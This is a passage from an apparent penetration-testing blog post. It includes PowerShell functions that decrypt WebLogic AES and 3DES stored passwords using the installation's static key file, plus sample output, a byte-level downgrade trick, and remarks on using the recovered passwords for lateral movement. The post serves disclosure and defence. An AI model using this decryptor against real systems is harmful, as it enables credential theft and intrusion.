    $IV = New-Object -TypeName byte[] -ArgumentList 16

    [array]::Copy($DecodedCipherText,0,$IV, 0 ,16)

    $CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16)
    [array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16))


    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)

    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)


    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)


    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($CipherText)

    [System.Text.Encoding]::ASCII.GetString($ClearText)
}

function Decrypt-3DES
{
    param
    (
        [byte[]]
        $Salt,

        [byte[]]
        $EncryptionKey,

        [char[]]
        $Pass,

        [byte[]]
        $DecodedCipherText
    )

    $EncryptionCipher = 'DESEDE/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

    $IV = New-Object -TypeName byte[] -ArgumentList 8

    [array]::Copy($Salt,0,$IV, 0 ,4)
    [array]::Copy($Salt,0,$IV, 4 ,4)

    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)

    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)

    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($DecodedCipherText)

    [System.Text.Encoding]::ASCII.GetString($ClearText)
}

Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor

I also added the ability to decrypt 3DES for older versions of WebLogic. Here’s the result:

PS C:&gt; Import-Module .Invoke-WebLogicDecrypt.psm1
PS C:&gt; Invoke-WebLogicDecrypt -SerializedSystemIni "C:SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="
Password1

Speaking of 3DES, if you do have a newer version of WebLogic that uses AES, you can change it back to 3DES by modifying the SerializedSystemIni.dat file. A newer one will have 02  set for the 6th byte:

Img D C

Which outputs the following in WLST

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt('password')
wls:/offline&gt; print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

Changing it to 01  will enable 3DES:

Img D Ca
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt("Password1")
wls:/offline&gt; print pw                 
{3DES}vNxF1kIDgtydLoj5offYBQ==

Conclusion

The penetration test revealed three big issues. The use of a static key for encryption, installing WebLogic on an SMB share, and allowing anonymous users read access to the share. The static key is something that users don’t control. I downloaded several versions of WebLogic and this is static across all of them. So if you have access to the SerializedSystemIni.dat file and have some encrypted passwords, it’s possible to decrypt them all, Muahaha!!! This all depends on whether or not you have access to the WebLogic installation directory. This leads to the next issue which is installing applications in a share. Installing any application in a share is risky in itself, but not securing that share can lead to catastrophic consequences. In the penetration test, after copying down the SerializedSystemIni.dat, I could now decrypt all the encrypted passwords from my initial grep. These were local user passwords and Oracle database passwords. Everything you need for lateral movement within an environment, all from anonymous access to a share.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X